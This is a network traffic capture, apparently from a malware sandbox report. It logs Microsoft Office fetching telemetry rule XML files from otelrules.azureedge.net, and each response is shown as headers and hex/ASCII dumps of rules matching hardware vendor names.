2024-11-26 07:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070430Z-174f78459688l8rvhC1EWRtzr000000007n0000000008twc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070432Z-174f7845968cpnpfhC1EWR3afc0000000umg00000000bsky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070432Z-174f78459685m244hC1EWRgp2c0000000v10000000000gu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070432Z-174f7845968px8v7hC1EWR08ng0000000vd0000000002mh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070432Z-174f7845968kvnqxhC1EWRmf3g0000000dv0000000008c9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070432Z-174f7845968glpgnhC1EWR7uec0000000v3g00000000fkth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070434Z-174f7845968g6hv8hC1EWR1v2n0000000330000000001tnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:34 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070434Z-174f7845968zgtf6hC1EWRqd8s0000000n1g000000005ebv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:34 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070434Z-174f7845968zgtf6hC1EWRqd8s0000000my000000000d4cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070434Z-174f78459684bddphC1EWRbht40000000uvg0000000048sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070434Z-174f7845968l4kp6hC1EWRe8840000000v8000000000bevh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:36 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070436Z-174f78459688l8rvhC1EWRtzr000000007m000000000bcw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
